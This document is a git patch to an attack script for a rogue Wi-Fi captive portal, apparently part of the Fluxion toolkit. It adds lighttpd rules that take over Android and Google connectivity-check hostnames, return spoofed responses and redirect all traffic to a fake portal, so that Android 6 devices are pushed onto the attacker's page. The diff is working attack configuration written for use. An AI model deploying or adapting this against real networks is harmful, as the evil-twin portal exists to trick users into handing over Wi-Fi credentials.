From 1f6f1a5753d81d7075b0abb09ce35d15a7e15d67 Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Sat, 9 Dec 2017 02:16:13 -0600 Subject: [PATCH] Added captive portal triggering for Android 6. --- attacks/Captive Portal/attack.sh | 44 ++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index be0484e..ff98b67 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -474,6 +474,11 @@ index-file.names = ( url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) } +\$HTTP[\"host\"] == \"clients1.google.com\" { # Respond with Google's alternative captive response. + server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" + url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) +} + \$HTTP[\"host\"] == \"clients3.google.com\" { # Respond with Google's alternative captive response. server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) @@ -493,6 +498,45 @@ index-file.names = ( server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) } +" >> "$FLUXIONWorkspacePath/lighttpd.conf" + else + echo "\ +# Consolidate the clusterfuck below, I'm sleepy right now, can't regex right... +\$HTTP[\"host\"] == \"www.google.com\" { + url.redirect = ( + \"^/(.*)\" => \"http://captive.gateway.lan/\", + ) +} + +\$HTTP[\"host\"] == \"clients1.google.com\" { + url.redirect = ( + \"^/(.*)\" => \"http://captive.gateway.lan/\", + ) +} + +\$HTTP[\"host\"] == \"clients3.google.com\" { + url.redirect = ( + \"^/(.*)\" => \"http://captive.gateway.lan/\", + ) +} + +\$HTTP[\"host\"] == \"connectivitycheck.gstatic.com\" { + url.redirect = ( + \"^/(.*)\" => \"http://captive.gateway.lan/\", + ) +} + +\$HTTP[\"host\"] == \"connectivitycheck.android.com\" { + url.redirect = ( + \"^/(.*)\" => \"http://captive.gateway.lan/\", + ) +} + +\$HTTP[\"host\"] == \"android.clients.google.com\" { + url.redirect = ( + \"^/(.*)\" => \"http://captive.gateway.lan/\", + ) +} " >> "$FLUXIONWorkspacePath/lighttpd.conf" fi